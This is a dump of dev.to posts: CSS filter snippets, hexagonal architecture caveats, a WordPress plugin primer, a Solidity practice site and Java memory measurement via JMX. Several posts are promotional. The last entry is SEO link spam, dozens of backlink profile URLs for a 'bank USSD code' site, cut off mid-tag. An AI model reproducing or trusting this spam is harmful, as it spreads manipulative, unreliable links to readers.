## CSS filter property The [CSS filter property](https://appcode.app/css-filter-property/) allows you to apply visual effects to HTML elements such as changing colors, brightness, contrast, etc. It's a powerful tool for creating unique and eye-catching designs. **Usage:** ``` filter: brightness(2); ``` --- ## CSS blur filter function The [CSS blur filter function](https://appcode.app/css-blur-filter-function/) allows you to add a blur effect to HTML elements. It can be used to soften or obscure elements, making the overall design more visually interesting. The function is applied using the "blur()" value within the "filter" property in CSS. **Usage:** ``` filter: blur(0.25em); ``` --- ## CSS "where" function The [CSS "where" function](https://appcode.app/css-where-function/) is a logical operator that enables conditional statements in CSS, allowing developers to apply styles to elements based on certain conditions. The "where" function is a powerful tool for creating dynamic, responsive designs. **Usage:** ``` a:where(:not(:hover)) { text-decoration: none; color: blue; } ```
appcode
1,363,132
When you should NOT use Hexagonal Architecture?
Before you decide to use the Hexagonal Architecture, consider these scenarios where it may not be the...
0
2023-02-12T21:14:10
https://dev.to/dadyasasha/when-you-should-not-use-hexagonal-architecture-hdj
architecture, beginners, programming
Before you decide to use the Hexagonal Architecture, consider these scenarios where it may not be the best choice. Hexagonal architecture (also known as "Ports and adapters") was defined by Alistair Cockburn in 2005. The main idea behind this pattern is a separation of the core of an application from its external dependencies. Naturally, hexagonal architecture provides a clear separation between the business logic and the ways the system communicates with external systems, making it significantly easier to test and maintain the code. While hexagonal architecture can bring many benefits, there are certain scenarios when it may not be the best choice. ## 1. Team has no experience with this pattern Hexagonal architecture is a relatively new pattern, and they're not so many developers who can use it well. If the development team does not have enough experience with the Hexagonal architecture pattern, it may be better to choose a simpler architecture that is easier to understand and implement, for example, 3-layer pattern described [here](https://www.youtube.com/watch?v=p2KzUDiNToM). ## 2 Small systems or short-term projects. Hexagonal architecture is a relatively complex pattern, and it involves multiple layers and components. As with many other architecture patterns, there's some initial implementation cost. In bigger projects, it usually pays off with time. On the other hand, in smaller projects, it might never pay off. ## 3 Legacy systems Integrating hexagonal architecture into an existing legacy system can be very challenging task. Hexagonal architecture uses rather unusual terminology which will look alien and cryptic in some older systems. As many older systems were implemented in some form of N-tier architecture, using [3-layer pattern](https://www.youtube.com/watch?v=p2KzUDiNToM) can be a better choice. 3-layer pattern is hybrid pattern inspired by both N-tier and Hexagonal patterns. ## 4 Performance-critical applications Hexagonal architecture introduces additional layers of abstraction between the core logic and the external dependencies, which can impact the performance of the application. While usually negligible, for applications with particularly high performance requirements, such as real-time or trading systems, I would suggest considering other patterns. It is important to carefully consider the requirements and constraints of the project, as well as the skills and experience of the development team, before deciding what architecture pattern you should use.
dadyasasha
1,363,207
Portfolio Website
𝗣𝗥𝗢𝗝𝗘𝗖𝗧 02: PORTFOLIO WEBSITE (Responsive) 𝗧𝗼𝗼𝗹𝘀 𝗨𝘁𝗶𝗹𝗶𝘇𝗲𝗱 I utilized HTML, CSS and Java Script to...
0
2023-02-12T22:16:34
https://dev.to/farmanali6349/portfolio-website-23l
codepen, javascript, webdev, tutorial
𝗣𝗥𝗢𝗝𝗘𝗖𝗧 02: PORTFOLIO WEBSITE (Responsive) 𝗧𝗼𝗼𝗹𝘀 𝗨𝘁𝗶𝗹𝗶𝘇𝗲𝗱 I utilized HTML, CSS and Java Script to create the Portfolio website. 𝗗𝗲𝘀𝗰𝗿𝗶𝗽𝘁𝗶𝗼𝗻 This project was undertaken for the purpose of honing my HTML, CSS and Java Script skills. I utilized grid, flex-box layouts, CSS animations, psuedo classes, psuedo elements and created some java script functions such as switching tabs in about section and use media queries for responsiveness to create an aesthetically pleasing design with simple color scheme. 𝗣𝗿𝗼𝗷𝗲𝗰𝘁 𝗟𝗶𝗻𝗸 The project can be viewed in my portfolio on Behance as follows. https://www.behance.net/farmanali6349 𝗥𝗲𝘀𝗼𝘂𝗿𝗰𝗲 If you would like to access the resources, including the code and page, please feel free to send me a message. 𝗝𝗮𝘇𝘇𝗮𝗸 𝗔𝗹𝗹𝗮𝗵 😊 {% codepen https://codepen.io/farmanali6349/pen/xxaKZqy %}
farmanali6349
1,363,319
Package and publish VueJs components and re-use them anywhere
Hello everyone! I hope you're all doing well. I wanted to share a new video series I created. It...
0
2023-02-13T01:47:52
https://dev.to/nidhalkratos/package-and-publish-vuejs-components-and-re-use-them-anywhere-39d4
vue, vite, tailwindcss, cicd
Hello everyone! I hope you're all doing well. I wanted to share a new video series I created. It explains how to build a package for Vue components so that they can be shared and used in projects. I used Vite and TailwindCSS, along with GitLab and GitLab CI/CD. I'd love to hear your thoughts and feedback on the video. [https://www.youtube.com/watch?v=NJ5GZRa3mY8](https://www.youtube.com/watch?v=NJ5GZRa3mY8)
nidhalkratos
1,363,486
Steel Shot
Steel shots belong to rounded grains made from molten steel through an atomization (granulation)...
0
2023-02-13T06:12:50
https://dev.to/shotsteel/steel-shot-1fc4
[Steel shots](https://www.blaster.co.in/steel-shots) belong to rounded grains made from molten steel through an atomization (granulation) method, available in certain sizes and hardness's. Steel grit defines grains with a predominantly angular shape. These grains are collected by crushing steel shots, therefore they exhibit sharp edges and broken segments. Harder than steel shot, it's also available in several sizes and hardness's.
shotsteel
1,363,518
How Much Does it Cost to Make an Educational App in 2023?
The use of technology in education has been rapidly increasing, and educational apps are now an...
0
2023-02-13T07:14:36
https://dev.to/sandeep_modi123/how-much-does-it-cost-to-make-an-educational-app-in-2023-5571
android, ios, flutter, hybrid
The use of technology in education has been rapidly increasing, and educational apps are now an integral part of this movement. With the increasing demand for such apps, the question of how much it costs to create one has become increasingly important. In this article, we will explore the various factors influencing the cost of making an educational app and provide a comprehensive cost breakdown. Whether you're a developer looking to create an educational app or an educator seeking to implement technology in the classroom. The use of technology in education has become a vital tool for both students and teachers in today's world. With the rise of the digital age, educational apps have emerged as an effective way to provide students with access to information and resources. These apps allow students to learn at their own pace, which can be particularly useful for students who need extra support or who are working on challenging subjects. **The most important are:** - Provide students with access to information and resources - Allow for self-paced learning, especially for students needing extra support - Offer engaging and interactive learning experiences - Provide teachers with resources to create tailored lesson plans and activities - Help teachers monitor student progress and use data to inform their teaching practices - Play a crucial role in revolutionizing the way we learn. This article provides valuable insights into the costs involved. So, let's dive into the world of educational app development and find out just how much it costs to create an [educational app](https://blog.ultroneous.com/build-a-successful-educational-app/) in 2023. ## Factors affecting the cost of making an educational app Factors that will affect the cost of making an educational app and must be carefully considered when planning your app development project. Understanding the costs involved will help you make informed decisions and ensure that you have the resources you need to create a high-quality educational app that meets your goals and objectives. ### Type of App The type of educational app you want to create plays a significant role in determining the cost. A basic app with limited features will cost less than an interactive or gamified app with more advanced features. ### Platform The platform you choose to develop your educational app will have a significant impact on the cost. While developing for iOS and Android will require different skill sets and tools, both platforms offer unique opportunities to reach specific audiences. On the other hand, a web-based app will typically be less expensive to develop than a native or hybrid app, but may not have the same performance and capabilities. Native app development utilizes the platform's specific programming languages, while hybrid app development utilizes cross-platform frameworks such as React Native or Flutter. Utilizing a cross-platform app framework can help keep costs down while still delivering a high-quality app experience. Additionally, [hiring Flutter developers](https://ultroneous.com/flutter-development) can also impact the cost of development, as the hourly rate for these specialists can vary based on their location, experience, and skill set. ### Features The features you want to include in your educational app will also impact the cost. Quizzes, interactive videos, and gamification elements will require more time and resources to develop, which will increase the cost. ### Development Team The team you choose to develop your educational app will also play a role in determining the cost. An in-house team may be more expensive while outsourcing or using freelancers can save costs. However, outsourcing or using freelancers may also introduce other challenges, such as communication and quality control. ### Location The cost of living and hourly rate differences in your location will also impact the cost of making an educational app. Developing an app in a region with a high cost of living and high hourly rates will result in a higher overall cost, compared to developing the same app in a region with a lower cost of living and lower hourly rates. ## Cost breakdown It's important to note that the costs for each of these categories will vary depending on the specific requirements of your project. However, by understanding these key areas and the costs involved, you can get a better sense of the overall cost of making an educational app in 2023. ### Design and User Experience Creating an engaging and intuitive user experience is critical for the success of an educational app. The cost for design and user experience will include the fees for a UX/UI designer, prototyping, and testing. ### Development This is the main part of the project and includes coding, server infrastructure, and other technical aspects of the app development process. The cost will depend on the complexity of the app and the development team you choose. ### Testing and Quality Assurance Testing and quality assurance are essential to ensure that your educational app is bug-free and meets your quality standards. The cost will include the fees for a QA team, as well as any tools or equipment they need to perform their work. ### Marketing and Promotion To reach your target audience and get the word out about your educational app, you will need to invest in marketing and promotion. This may include advertising, social media, content marketing, and other methods of getting your app in front of potential users. ### Maintenance and Support Once your educational app is live, you will need to provide ongoing maintenance and support. This may include fixing bugs, releasing updates, and providing technical support to users. The cost will depend on the size and complexity of your app, as well as the level of support you provide. ## Best Practices to Keep Costs Under Control One of the best ways to control costs is to prioritize the features of your educational app based on budget and target audience. Start with the essential features that are most important to your target users, and then add more advanced features as budget permits. Working with a development team that offers cost-effective solutions is another great way to control costs. This may involve partnering with a team that uses agile methodologies, open-source technology, and other cost-saving strategies to keep project costs under control. Utilizing open-source tools and technology is another great way to keep costs under control. Open-source solutions are often free or low-cost, and they offer a range of features and capabilities that can help you build a high-quality educational app. Finally, it's important to keep marketing and promotion costs low. This may involve utilizing low-cost or free marketing strategies, such as social media, content marketing, and influencer marketing, to reach your target audience and get the word out about your app. By being strategic and cost-conscious in your marketing efforts, you can help keep the overall cost of your educational app under control. ## Conclusion The cost of creating an educational app in 2023 varies based on factors like app type, platform, features, development team, and location. Key factors like design, development, testing, marketing, and maintenance also play a role. To keep costs under control, it's recommended to prioritize features, work with cost-effective development teams, utilize open-source tools, and minimize marketing costs. The final cost is just one aspect to consider when launching an educational app, as other factors such as audience reach, user engagement, and impact also matter. With careful planning and execution, you can create an educational app that provides value and impact to users and delivers a good return on investment.
sandeep_modi123
1,364,654
WordPress Plugin Development Primer
Photo by https://unsplash.com/@benkolde What and Why? WordPress has been around for...
0
2023-02-14T03:42:12
https://meeco.dev/wordpress-plugin-development-primer/
technology, wordpress, woocommerce, plugindevelopment
--- title: WordPress Plugin Development Primer published: true date: 2023-01-04 13:17:41 UTC tags: Technology,WordPress,WooCommerce,PluginDevelopment canonical_url: https://meeco.dev/wordpress-plugin-development-primer/ --- ![header_image](https://meeco.dev/content/images/2022/12/ben-kolde-bs2Ba7t69mM-unsplash.jpg) <figcaption>Photo by <a href="https://unsplash.com/@benkolde">https://unsplash.com/@benkolde</a></figcaption> ## What and Why? WordPress has been around for about two decades now and is basically responsible for almost half of all websites on the internet at this point. While there are tons of available alternatives out there for content management systems, especially with the rise of headless CMS counterparts, it's quite certain that WordPress is not going to sunsetted anytime soon. One of WordPress' killer feature by the time it took the internet is the Plugins ecosystem. Having the ability to extend and customize your content management system, making it more dynamic and robust, is one of the things that made WordPress so popular to a lot of digital users. From adding simple utility tools to your CMS to turning your website into an e-commerce shop, WordPress plugins got most of the existing use-cases covered. However, in case that the solution does not exist yet, it is worth mentioning that we, as web developers, can actually develop our own WordPress plugins. ## The Plugin ### The directory structure ``` sample-wordpress-plugin |-- index.php ``` - **index.php** - this is our initial file and where we will call the action hook that would register our plugin to the WordPress Core so it would show up in the Plugins page. Assuming you already have a local WordPress instance, you can proceed to create your own plugin directory under `/your-wordpress-directory/wp-content/plugins`. Otherwise, you can refer to my [other blog post on how to setup a local WordPress instance using Warden](https://meeco.dev/wordpress-warden). Moving forward this guide, assume all files are within the plugin directory in the path `/your-wordpress-directory/wp-content/plugins/sample-wordpress-plugin`. ### The Initial File ```php <?php /** * PHP version 7 * Plugin Name: Sample WordPress Plugin * Description: A sample WordPress plugin * Author: Mico * Author URI: https://meeco.dev * Version: 1.0.0 * Requires at least: 5.3.2 * Tested up to: 6.0.2 */ ``` <figcaption>index.php</figcaption> The comments at the start of the initial file is called the Plugin Header. The header is **important** as that is what determines the plugin details that would appear on the Plugins page in the WordPress dashboard (refer to image 1.a below). While the first few lines are pretty self-explanatory, there are some that we think it is best to define: - **Author URI** - while optional, it's better to put your own personal or company URL here for easier contact reference and free marketing. - **Version** - this is the plugin's current version, preferably using [Semantic Versioning](https://semver.org). - **Requires at least** - the minimum WordPress version that your plugin is compatible with. This is very important as any published plugins are regularly checked for compatibility across WordPress versions. - **Tested up to** - the latest version of WordPress that your plugin was tested to work with. Do note that this does not mean your plugin won't work on later versions of WordPress, this just means you tested your plugin's compatibility up to the value of this field. For more details on what else you can put within this comment section, you can check the [WordPress Header Requirements](https://developer.wordpress.org/plugins/plugin-basics/header-requirements). With just the header, and without any other issues, you should be able to see something like the image below. ![WordPress Plugin Development Primer](https://meeco.dev/content/images/2023/01/Plugins-page.png) <figcaption>A sample Plugins page in a WordPress admin dashboard</figcaption> ## Next Steps While the plugin literally does nothing right now other than merely registering itself in a WordPress instance's loaded plugins, as a developer, you can now start to decide what to do from here. Below are some additional guides based on this primer. - Create a payment plugin for WooCommerce - Create a custom shortcode plugin - Publish your plugin to WordPress Plugins public repository;
micahbule
1,363,592
LeetCode, CodeChef for Blockchain (Solidity)
Want to solve competitive problems in blockchain (solidity) ? Are you a competitive programmer? and...
0
2023-02-13T07:57:43
https://dev.to/gd199/leetcode-codechef-for-blockchain-solidity-2ig9
solidity, programming, excercise, blockchain
Want to solve competitive problems in blockchain (solidity) ? Are you a competitive programmer? and solved many problem statements from platforms like leetcode, chedchef and recently started with solidity in the blockchain. If you are looking for competitive problem statements, I have just the perfect platform for you! ## Competitive programming for blockchain **The Platform** The [DApp World Assessments](https://dapp-world.com/assessments) is where you can practice the solidity problem statements. Just visit the website and register to create the account. Pick any problem statement for example there are many problem statements - - [Storage Smart Contract](https://dapp-world.com/assessment/storage-smart-contract-udht/problem) - [Calculate greatest](https://dapp-world.com/assessment/math-calculate-greatest-uiop/problem) - [Calculate factorial](https://dapp-world.com/assessment/math-calculate-factorial-tvfh/problem) - [Compare strings](https://dapp-world.com/assessment/compare-strings-vbnm/problem) - etc Let’s pick the Storage Smart Contract. Click on the Solve Challenge button. Then click on the Start Assessment button. Now you will be presented with the following screen - **The Problem** Now let’s discuss the points here ![The coding environment](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/i2fo0699v1wwaco1hytc.png) **1. The problem statement:** Here, you’ll get a complete idea of what you’re going to solve with objective and task. **2. The code editor:** You have to write your answer in this code editor. **3. Compile:** It’s always good to compile the code before submitting the answer to check if there are any syntax or compilation errors in the code. **4. Submit:** Once you are confident on your answer you can submit the code. **5. Report:** If you have any problem regarding the execution process or anything else you can report the error to the team from here. Now let’s write the answer and submit the code. **The Result** ![The score or answer results](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/esuzq3yb6p3i6mhgqlsf.png) Once you have submitted the answer you will get the complete result like this. Here you can see we have 4 tabs, output, compile, deploy, and testcases. The complete score is breakdown in 3 parts the compile score + deploy score + testcases score. Here the testcases are the details. Here you’ll get a detailed analysis of your answer. You can check what went wrong and correct it for the next attempt. **The Leaderboard** ![dapp world assessments leaderboard description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/cm7ts6ves02tqcr7tui5.png) In the leaderboard tab, you can check where you stand in the competition. The position is calculated with respect to the number of attempts, the total score, and the total gas used. If you want to top the leaderboard then you must have a higher score with fewer attempts and less gas used. If you have any suggestions or exciting problem statements, you can write to us at contact@dapp-world.com Thank you.
gd199
1,363,795
3 ways to know used memory
What task I would like to solve Recently I tried to know how much memory an application...
0
2023-02-13T11:44:03
https://dev.to/vbochenin/3-way-to-know-used-memory-1b0o
# What task I would like to solve Recently I tried to know how much memory an application wastes during some operation. The operation I want to measure is data snapshot creation. The application stores a sequence of operations with objects and periodically creates object snapshots. So if we want to know the object's state at any point in time, we won't replay all operations from the beginning to this point but get the object's state from the nearest snapshot and play only a limited amount of operation from this snapshot to our point. Obviously, we would like to store as many recent snapshots as possible in heap memory, but in the real world, we have limited memory. We should limit the amount of memory for snapshots, and we are doing it traditionally by setting the threshold via application properties. Next step, we want to provide some meaningful defaults for this property. The issue here is that we cannot predict the value because different customers have different: environments, data, sizes of snapshots, and so on. This means we need to have more data to make a decision. Finally, we decided to log how much heap was occupied before and after snapshot creation and end with something like this: ``` public Snapshot buildSnapshot() { long usedMemory = calculateUsedMemory(); try { return doBuildSnapshot(); } finally { log.debug("Used memory: " + (calculateUsedMemory() - usedMemory)); } } ``` # `java.lang.Runtime` way If you google "java used memory in runtime" you will see this method: `Runtime.getRuntime().totalMemory() - Runtime.getRuntime().freeMemory()` and different variations over it. Let's look closer at what this method returns to us. For total memory: > Returns the total amount of memory in the Java virtual machine. The value returned by this method may vary over time, depending on the host environment. For free memory: > Returns the amount of free memory in the Java Virtual Machine. Calling the gc method may result in increasing the value returned by freeMemory. In other words, total memory may contain references no longer needed objects. The object will be freed after garbage collection, but we don't have any control over GC and don't know when it is executed. So we need to find some better solution. # JMX way [JMX](https://www.oracle.com/java/technologies/javase/docs-jmx-jsp.html) is stated from **Java Management Extensions**. We may use these built-in extensions to get different information about Runtime internals. In `java.lang.management.ManagementFactory`, we may find a lot of factory methods for any task we like, but we are most interested in `MemoryMXBean getMemoryMXBean()`. The method returns a [manageble bean](https://docs.oracle.com/javase/tutorial/jmx/mbeans/index.html) we can use to request heap memory usage. ``` private static final MemoryMXBean MEMORY_MX_BEAN = ManagementFactory.getMemoryMXBean(); private long calculateUsedMemory() { return MEMORY_MX_BEAN.getHeapMemoryUsage().getUsed(); } ``` So far, good, but the methods above show only used memory at some specific time for the whole application, and we still need to find out how much memory the application waste on storing the snapshot. Let's look at the task from another point, how much memory we used to complete the operation. In other words, how effective is the code from a memory usage perspective? Knowing this and GC information, we could predict the default value. # Secret JMX way JMX has two `ThreadMXBean` interfaces, `java.lang.management.ThreadMXBean` and `com.sun.management.ThreadMXBean`. Both could be used to get information about threads. The first one is public and returned by `ManagementFactory`, but it does not have any memory-related methods. The second one declares 2 excellent methods: - `long getThreadAllocatedBytes(long id)` - Returns an approximation of the total amount of memory, in bytes, allocated in heap memory for each thread whose ID is in the input array ids. - `long getCurrentThreadAllocatedBytes()` - Returns an approximation of the total amount of memory, in bytes, allocated in heap memory for the current thread. More than `com.sun.management.ThreadMXBean` extends `java.lang.management.ThreadMXBean`, so we can use the interface instead of the first one. But you will not find any methods returning these interfaces. If will look at `ThreadMXBean` hierarchy, I may see that, in my JDK, both interfaces are implemented by a single class. ![ThreadMxBean hierarchy](/assets/img/posts/2023-02-08-3-ways-to-know-used-memory/threadmxbean-hierarchy.png) I've used [Amazon Correto 11](https://docs.aws.amazon.com/corretto/latest/corretto-11-ug/downloads-list.html), but the same picture in other JDKs (checked on [Eclipse Temurin](https://adoptium.net/temurin/releases/?version=11) and [Azul](https://www.azul.com/downloads/?version=java-11-lts&package=jdk)). Now my code may look like this: ``` private final LongSupplier allocatedByThread = initAllocatedMemoryProvider(); private static LongSupplier initAllocatedMemoryProvider() { ThreadMXBean threadMXBean = ManagementFactory.getThreadMXBean(); if (threadMXBean instanceof com.sun.management.ThreadMXBean) { com.sun.management.ThreadMXBean casted = (com.sun.management.ThreadMXBean) threadMXBean; return casted::getCurrentThreadAllocatedBytes; } return () -> 0; } private long calculateUsedMemory() { return initAllocatedMemoryProvider().getAsLong(); } ``` The issue is only that `com.sun.management.ThreadMXBean` in `jdk.management` module, so if a customer runs our application with JRE we will not have the interface in the classpath. The application will crush with `NoClassDefFoundError`, but we may fix it with Reflection API. ``` private static LongSupplier initAllocatedMemoryProvider() { try { Class<?> internalIntf = Class.forName("com.sun.management.ThreadMXBean"); ThreadMXBean bean = ManagementFactory.getThreadMXBean(); if (!internalIntf.isAssignableFrom(bean.getClass())) { // Attempts to get the interface from PlatformMXBean Class<?> pmo = Class.forName("java.lang.management.PlatformManagedObject"); Method m = ManagementFactory.class.getMethod("getPlatformMXBean", Class.class, pmo); bean = (ThreadMXBean) m.invoke(null, internalIntf); if (bean == null) { throw new UnsupportedOperationException("No way to access private ThreadMXBean"); } } ThreadMXBean allocMxBean = bean; Method allocMxBeanGetter = internalIntf.getMethod("getCurrentThreadAllocatedBytes"); return () -> (long)allocMxBeanGetter.invoke(allocMxBean); } catch (Exception e) { return () -> 0; } } ``` # Conclusion You may get access to different runtime information with JMX, but you may find a treasure if you dig slightly deeper. _You may find the code on [GitHub](https://github.com/vbochenin/code.vbochenin.github.io/tree/main/memory-usage)._ _If you find the post helpful, please support me and:_ [![Buy Me A Coffee][2]][1] [1]: https://www.buymeacoffee.com/vbocheninQ [2]: https://cdn.buymeacoffee.com/buttons/default-black.png
vbochenin
1,363,926
What is Bank ussd code transfer code and how to use the latest bank ussd transfer code for transactions from one bank to another
https://rabbitroom.com/members/bank-ussd-code/profile/ https://quay.io/repository/bankussdcode/bank-u...
0
2023-02-13T13:32:49
https://dev.to/bankussdcodeandlatestbankcodes/what-is-bank-ussd-code-transfer-code-and-how-to-use-the-latest-bank-ussd-transfer-code-for-transactions-from-one-bank-to-another-3e3j
thelatestbankussdcode
<a href="https://rabbitroom.com/members/bank-ussd-code/profile/">https://rabbitroom.com/members/bank-ussd-code/profile/</a> <a href="https://quay.io/repository/bankussdcode/bank-ussd-code-and-latest-bank-ussd-codes?namespace=bankussdcode">https://quay.io/repository/bankussdcode/bank-ussd-code-and-latest-bank-ussd-codes?namespace=bankussdcode</a> <a href="https://www.divephotoguide.com/user/thelatestbankussdcode">https://www.divephotoguide.com/user/thelatestbankussdcode</a> <a href="https://app.roll20.net/users/11624728/bank-ussd-code-and-latest-bank-ussd-codes">https://app.roll20.net/users/11624728/bank-ussd-code-and-latest-bank-ussd-codes</a> <a href="https://pinshape.com/users/2573365-bank-ussd-code-and-latest-bank-ussd-codes">https://pinshape.com/users/2573365-bank-ussd-code-and-latest-bank-ussd-codes</a> <a href="https://www.silverstripe.org/ForumMemberProfile/show/100202">https://www.silverstripe.org/ForumMemberProfile/show/100202</a> <a href="https://slides.com/bank-ussd-code-and-latest-bank-ussd-codes">https://slides.com/bank-ussd-code-and-latest-bank-ussd-codes</a> <a href="https://www.longisland.com/profile/thelatestbankussdcode">https://www.longisland.com/profile/thelatestbankussdcode</a> <a href="https://onmogul.com/bank-ussd-code-and-latest-bank-ussd-codes">https://onmogul.com/bank-ussd-code-and-latest-bank-ussd-codes</a> <a href="https://learningapps.org/user/bank-ussd-code">https://learningapps.org/user/bank-ussd-code</a> <a href="https://www.kiva.org/lender/thelatestbankussdcode">https://www.kiva.org/lender/thelatestbankussdcode</a> <a href="https://www.myminifactory.com/users/bank-ussd-code-and-latest-bank-ussd-codes">https://www.myminifactory.com/users/bank-ussd-code-and-latest-bank-ussd-codes</a> <a href="https://www.fundable.com/bank-ussd-code-and-latest-bank-ussd-codes">https://www.fundable.com/bank-ussd-code-and-latest-bank-ussd-codes</a> <a href="https://rpgmaker.net/users/bank-ussd-code/">https://rpgmaker.net/users/bank-ussd-code/</a> <a href="https://gettogether.community/talk/21812/">https://gettogether.community/talk/21812/</a> <a href="https://diigo.com/0rns9u">https://diigo.com/0rns9u</a> <a href="https://photoclub.canadiangeographic.ca/profile/21062288">https://photoclub.canadiangeographic.ca/profile/21062288</a> <a href="https://plaza.rakuten.co.jp/unitycode/diary/202302130000/">https://plaza.rakuten.co.jp/unitycode/diary/202302130000/</a> <a href="https://heylink.me/bank-ussd-code-and-latest-bank-ussd-codes">https://heylink.me/bank-ussd-code-and-latest-bank-ussd-codes</a> <a href="https://milkyway.cs.rpi.edu/milkyway/show_user.php?userid=3556138">https://milkyway.cs.rpi.edu/milkyway/show_user.php?userid=3556138</a> <a href="https://www.storeboard.com/bank-ussd-code-and-latest-bank-ussd-codes">https://www.storeboard.com/bank-ussd-code-and-latest-bank-ussd-codes</a> <a href="https://peatix.com/user/15941238/view">https://peatix.com/user/15941238/view</a> <a href="https://www.bibrave.com/users/193770">https://www.bibrave.com/users/193770</a> <a href="https://experiment.com/users/thelatestbankussdcode">https://experiment.com/users/thelatestbankussdcode</a> <a href="https://plazapublica.cdmx.gob.mx/profiles/bank-ussd-code-and-l/activity">https://plazapublica.cdmx.gob.mx/profiles/bank-ussd-code-and-l/activity</a> <a href="https://www.redbubble.com/people/bank-ussd-code/shop">https://www.redbubble.com/people/bank-ussd-code/shop</a> <a href="https://www.runnerspace.com/profile.php?member_id=588114">https://www.runnerspace.com/profile.php?member_id=588114</a> <a href="https://www.outdoorproject.com/users/bank-ussd-code-and-latest-bank-ussd-codes-1">https://www.outdoorproject.com/users/bank-ussd-code-and-latest-bank-ussd-codes-1</a> <a href="https://newspicks.com/user/8752330">https://newspicks.com/user/8752330</a> <a href="https://grenelle.education.gouv.fr/profiles/thelatestbankussdcod/activity">https://grenelle.education.gouv.fr/profiles/thelatestbankussdcod/activity</a> <a href="https://starity.hu/profil/358462-bank-ussd-code/">https://starity.hu/profil/358462-bank-ussd-code/</a> <a href="https://www.producthunt.com/@thebankussdcode">https://www.producthunt.com/@thebankussdcode</a> <a href="https://coolors.co/u/bank-ussd-code">https://coolors.co/u/bank-ussd-code</a> <a href="https://www.nexusmods.com/users/175045125">https://www.nexusmods.com/users/175045125</a> <a href="https://pantip.com/profile/7420717">https://pantip.com/profile/7420717</a> <a href="https://diigo.com/0rns9u">https://diigo.com/0rns9u</a> <a href="https://gettogether.community/talk/21812/">https://gettogether.community/talk/21812/</a> <a href="https://linktr.ee/bank_ussd_code_and_latest_bank">https://linktr.ee/bank_ussd_code_and_latest_bank</a> <a href="https://wlo.link/@bank_ussd_code">https://wlo.link/@bank_ussd_code</a> <a href="https://dev.to/bankussdcodeandlatestbankussd">https://dev.to/bankussdcodeandlatestbankussd</a> <a href="https://dev.to/bankussdcodeandlatestbankussd/bank-ussd-code-and-latest-bank-ussd-codes-e2e">https://dev.to/bankussdcodeandlatestbankussd/bank-ussd-code-and-latest-bank-ussd-codes-e2e</a> <a href="https://learn.acloud.guru/profile/thelatestbankussd">https://learn.acloud.guru/profile/thelatestbankussd</a> <a href="https://www.pubpub.org/user/bank-ussd-code-and-latest-bank-ussd-codes-">https://www.pubpub.org/user/bank-ussd-code-and-latest-bank-ussd-codes-</a> <a href="https://www.renderosity.com/users/id:1344643">https://www.renderosity.com/users/id:1344643</a> <a href="http://gendou.com/user/the-latest-bank-ussd-code">http://gendou.com/user/the-latest-bank-ussd-code</a> <a href="http://www.rohitab.com/discuss/user/1037931-the-latest-bank-ussd-code/">http://www.rohitab.com/discuss/user/1037931-the-latest-bank-ussd-code/</a> <a href="https://3dprintboard.com/member.php?104655-the-latest-bank-ussd-code">https://3dprintboard.com/member.php?104655-the-latest-bank-ussd-code</a> <a href="https://forum.codeigniter.com/member.php?action=profile&uid=68112">https://forum.codeigniter.com/member.php?action=profile&uid=68112</a> <a href="http://www.lawrence.com/users/thelatestbankussdcode/">http://www.lawrence.com/users/thelatestbankussdcode/</a> <a href="https://participation.bordeaux-metropole.fr/profil-public/bank-ussd-code-and-latest-bank-ussd-codes">https://participation.bordeaux-metropole.fr/profil-public/bank-ussd-code-and-latest-bank-ussd-codes</a> <a href="https://camp-fire.jp/profile/the_latest_bank_ussd_code">https://camp-fire.jp/profile/the_latest_bank_ussd_code</a> <a href="https://buddypress.org/members/thelatestbankussdcode/profile/">https://buddypress.org/members/thelatestbankussdcode/profile/</a> <a href="https://www.spoonflower.com/profiles/bank-ussd-code-and-latest-bank-ussd-codes?sub_action=shop">https://www.spoonflower.com/profiles/bank-ussd-code-and-latest-bank-ussd-codes?sub_action=shop</a> <a href="https://www.provenexpert.com/bank-ussd-code-and-latest-bank-ussd-codes/">https://www.provenexpert.com/bank-ussd-code-and-latest-bank-ussd-codes/</a> <a href="https://www.mifare.net/support/forum/users/bank-ussd-code-and-latest-bank-ussd-codes/">https://www.mifare.net/support/forum/users/bank-ussd-code-and-latest-bank-ussd-codes/</a> <a href="https://www.credly.com/users/bank-ussd-code-and-latest-bank-ussd-codes-1/badges">https://www.credly.com/users/bank-ussd-code-and-latest-bank-ussd-codes-1/badges</a> <a href="https://www.midi.org/forum/profile/102523-bank-ussd-code-and-latest-bank-ussd-codes">https://www.midi.org/forum/profile/102523-bank-ussd-code-and-latest-bank-ussd-codes</a> <a href="https://www.metal-archives.com/users/the+latest+bank+ussd/">https://www.metal-archives.com/users/the+latest+bank+ussd/</a> <h1><strong><a href="https://www.bankussdcode.com/#utm_source=backlinks&utm_medium=search&utm_campaign=darry+ring+us&utm_content=Michelle">https://www.bankussdcode.com/</a></strong></h1> <a href="https://gettogether.community/talk/21813/">https://gettogether.community/talk/21813/</a> <a href="http://praca.poland.us/author/bank-ussd-code-and-latest-bank-ussd-codes/">http://praca.poland.us/author/bank-ussd-code-and-latest-bank-ussd-codes/</a> <a href="https://trabajo.merca20.com/author/bank-ussd-code-and-latest-bank-ussd-codes/">https://trabajo.merca20.com/author/bank-ussd-code-and-latest-bank-ussd-codes/</a> <a href="https://photoclub.canadiangeographic.ca/profile/21062420">https://photoclub.canadiangeographic.ca/profile/21062420</a> <a href="https://rpgmaker.net/users/bank-ussd-code1/">https://rpgmaker.net/users/bank-ussd-code1/</a> <a href="https://rabbitroom.com/members/bank-ussd-code-and-latest-bank-ussd-codes1/profile/">https://rabbitroom.com/members/bank-ussd-code-and-latest-bank-ussd-codes1/profile/</a> <a href="https://quay.io/repository/bankussdcode/bank-ussd-code-and-latest-bank-ussd-codes1?namespace=bankussdcode">https://quay.io/repository/bankussdcode/bank-ussd-code-and-latest-bank-ussd-codes1?namespace=bankussdcode</a> <a href="https://diigo.com/0ro3qo">https://diigo.com/0ro3qo</a> <a href="https://app.roll20.net/users/11626013/bank-ussd-code-and-latest-bank-ussd-codes">https://app.roll20.net/users/11626013/bank-ussd-code-and-latest-bank-ussd-codes</a> <a href="https://pinshape.com/users/2573775-bank-ussd-code-and-latest-bank-ussd-codes1">https://pinshape.com/users/2573775-bank-ussd-code-and-latest-bank-ussd-codes1</a> <a href="https://starity.hu/profil/358549-bank-ussd-code1/">https://starity.hu/profil/358549-bank-ussd-code1/</a> <a href="https://smotra.ru/users/the-latest-bank-ussd-code/">https://smotra.ru/users/the-latest-bank-ussd-code/</a> <a 